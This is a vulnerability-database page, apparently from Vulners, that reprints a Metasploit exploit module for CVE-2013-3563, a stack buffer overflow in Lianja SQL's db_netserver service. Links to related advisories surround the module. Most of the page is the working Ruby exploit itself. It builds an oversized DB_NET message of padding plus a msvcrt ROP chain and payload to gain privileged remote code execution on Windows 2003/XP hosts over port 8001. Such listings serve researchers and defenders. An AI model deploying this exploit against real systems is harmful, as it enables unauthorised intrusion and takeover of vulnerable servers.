Lucene search
K

Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow

🗓️ 29 May 2013 12:48:41Reported by Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow, allows remote attackers to execute arbitrary code via a crafted DB_NET protocol messag

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow Vulnerability
31 May 201300:00
zdt
Circl
CVE-2013-3563
31 May 201300:00
circl
CVE
CVE-2013-3563
4 Jul 201310:00
cve
Cvelist
CVE-2013-3563
4 Jul 201310:00
cvelist
Exploit DB
Lianja SQL 1.0.0RC5.1 - db_netserver Stack Buffer Overflow (Metasploit)
31 May 201300:00
exploitdb
NVD
CVE-2013-3563
4 Jul 201314:33
nvd
Packet Storm
Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow
31 May 201300:00
packetstorm
Prion
Stack overflow
4 Jul 201314:33
prion
RedhatCVE
CVE-2013-3563
22 May 202505:12
redhatcve
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the db_netserver process, which
        is spawned by the Lianja SQL server.  The issue is fixed in Lianja SQL 1.0.0RC5.2.
      },
      'Author'         => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2013-3563' ],
        [ 'OSVDB', '93759' ]
      ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 20
        },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'StackAdjustment' => -3500,
          'Space'           => 500,
          'BadChars'        => "\x01"
        },
      'Targets'        =>
        [
          [ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
          [ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => '2013-05-22',
      'Notes'          =>
        {
          'Stability'  => [ CRASH_SERVICE_RESTARTS ],
        },
    ))

    register_options(
      [
        Opt::RPORT(8001),
      ])
  end

  def check
    begin
      connect
    rescue
      vprint_error("Unable to connect")
      return Exploit::CheckCode::Unknown
    end
    sock.put("db_net")
    if sock.recv(4) =~ /\d{1,5}/
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    sock.put("db_net")
    sock.recv(4)

    print_status("#{rhost}:#{rport} - Sending Malicious Data")
    evil_data =  '000052E1'
    evil_data << 'A'
    evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
    evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
    sock.put(evil_data)
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.6High risk
Vulners AI Score7.6
CVSS 27.5
EPSS0.67188
22